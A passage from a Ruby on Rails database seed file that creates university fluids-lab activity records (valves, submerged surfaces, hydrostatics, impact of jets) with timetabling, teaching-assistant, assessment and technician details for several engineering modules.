a123.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9hkvnrx\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a123.id).first_or_create!(criteria: \"An understanding of first principles, energy usage and efficiency. Knowledge of characteristic curves would be beneficial.\",\n job_desc:\"Computer controlled pump and turbine units are experimented with to determine the ratio of energy conversation between hydraulic and mechanical/electrical.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a123.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a123.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a123.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a124 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at124 = ActivityTimetable.where(activity_id: a124.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Can be a self book, no need to timetablable\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a124.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/go6v2fl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a124.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a124.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a124.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a124.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a125 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"406\").first_or_create!(name: \"External flow\",\n name_abrv: \"EXTFLOW\", archived: false, in_drive: true, user_id: 2)\n at125 = ActivityTimetable.where(activity_id: a125.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a125.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yda4d9oa\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a125.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a125.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a125.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a125.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a126 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"407\").first_or_create!(name: \"Floating Stability\",\n name_abrv: \"FLOATSTAB\", archived: false, in_drive: true, user_id: 3)\n at126 = ActivityTimetable.where(activity_id: a126.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Forces on Submerged surface. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a126.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7aue72l\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a126.id).first_or_create!(criteria: \"Understanding of metacenter from a civil engineering perspective.\",\n job_desc:\"The variables that dictate the metacentre of a floating pontoon are determined.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a126.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a126.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a126.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a127 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE170\").first.id, code: \"408\").first_or_create!(name: \"Flow Measurement\",\n name_abrv: \"FLOWMEAS\", archived: false, in_drive: true, user_id: 5)\n at127 = ActivityTimetable.where(activity_id: a127.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a127.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yab4zwks\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a127.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a127.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a127.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a127.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a128 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: false, user_id: 1)\n at128 = ActivityTimetable.where(activity_id: a128.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a128.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yd9boque\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a128.id).first_or_create!(criteria: \"A comparison of different flow measurement techniques using hydrodynamic theory\",\n job_desc:\"Students do a quick lab to determine the relationship between flow rate and loss coefficient for gate or angle seat valves. This is done by altering the opening of the valve, and measuring the flow rate and pressure drop.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a128.id).first_or_create!(assess_weight: nil, notes: \"Post lab is handeled by the department - integrated into lecture series\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a128.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a128.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a129 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR222\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 2)\n at129 = ActivityTimetable.where(activity_id: a129.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 8, max_week_num: 12, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Find a time when the students are in for another lab, as it is a long way to come for just an hour\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a129.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a129.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a129.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a129.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a129.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a130 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"409\").first_or_create!(name: \"Flow through Valves\",\n name_abrv: \"VALVES\", archived: false, in_drive: true, user_id: 3)\n at130 = ActivityTimetable.where(activity_id: a130.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a130.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/hdn3gkn\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a130.id).first_or_create!(criteria: \"Understanding of uncertantity and error calculation would be useful.\",\n job_desc:\"A variety of flow measurement devices (ventrui meter, orifice plate, rotameter…etc) are compared for their ability to work as accurate instrumentation in fluid flow systems.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a130.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a130.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a130.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a131 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR197\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 2)\n at131 = ActivityTimetable.where(activity_id: a131.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Anywhere with a water supply\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a131.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a131.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a131.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a131.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a131.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a132 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 5)\n at132 = ActivityTimetable.where(activity_id: a132.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 6, max_week_num: 8, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Last year this was run as 3 hours with Floating stabiltity. Next run do as a separate event, each at 1.5 hours.\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a132.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y75qz6ys\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a132.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a132.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a132.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a132.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a133 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: true, in_drive: true, user_id: 3)\n at133 = ActivityTimetable.where(activity_id: a133.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a133.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ybr6ggo7\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a133.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a133.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a133.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a133.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a134 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: true, user_id: 3)\n at134 = ActivityTimetable.where(activity_id: a134.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a134.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/ya6qpnzf\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a134.id).first_or_create!(criteria: \"Understanding of hydrostatics and forces on submerged surfaces. Understanding of bending moments.\",\n job_desc:\"Students use a ¼ torroid to determine the pressure and hence force acting on a submerged surface.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a134.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a134.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a134.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a135 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"410\").first_or_create!(name: \"Forces on a Submerged Surface\",\n name_abrv: \"SUBSURFACE\", archived: false, in_drive: false, user_id: 5)\n at135 = ActivityTimetable.where(activity_id: a135.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a135.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6xyg4dt\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a135.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a135.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a135.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a135.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a136 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 4)\n at136 = ActivityTimetable.where(activity_id: a136.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a136.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a136.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a136.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a136.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a136.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a137 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: false, user_id: 4)\n at137 = ActivityTimetable.where(activity_id: a137.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a137.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y6c5bbz6\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a137.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a137.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a137.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a137.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a138 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"411\").first_or_create!(name: \"Hydrostatics carousel\",\n name_abrv: \"HYDROSTAT\", archived: false, in_drive: true, user_id: 5)\n at138 = ActivityTimetable.where(activity_id: a138.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 1, max_week_num: 2, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 180, takedown_time: 240, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a138.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/j43azdg\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a138.id).first_or_create!(criteria: \"Basic understanding of hydrostatics principles\",\n job_desc:\"A range of quick experiments to test hydrostatic principles. These are Pascal’s vase, Hare’s tube, calibration of a pressure gauge and using hydrometers.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a138.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a138.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a138.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a139 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 1)\n at139 = ActivityTimetable.where(activity_id: a139.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a139.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yabu3gps\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a139.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a139.id).first_or_create!(assess_weight: nil, notes: \"One of the lab activites will be used as part of the CIV104 exam\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a139.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a139.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a140 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 5)\n at140 = ActivityTimetable.where(activity_id: a140.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 4, max_week_num: 4, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a140.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y7pzg2ut\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a140.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a140.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a140.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a140.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a141 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: true, in_drive: true, user_id: 4)\n at141 = ActivityTimetable.where(activity_id: a141.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a141.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y9qwwhzl\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a141.id).first_or_create!(criteria: \"Understanding of conservation of momentum\",\n job_desc:\"A jet of varying diameter is fired on various shaped vanes. The force the vane is exposed to, based on masses on a platform, is recorded. This is compared to the theory of conservation of momentum. \n Marking is done after the lab. Students submit a short (1 page) report which is marked on a 5 point scale using turn-it-in.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a141.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a141.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a141.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a142 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"412\").first_or_create!(name: \"Impact of Jets\",\n name_abrv: \"IMPACTJETS\", archived: false, in_drive: true, user_id: 2)\n at142 = ActivityTimetable.where(activity_id: a142.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a142.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n 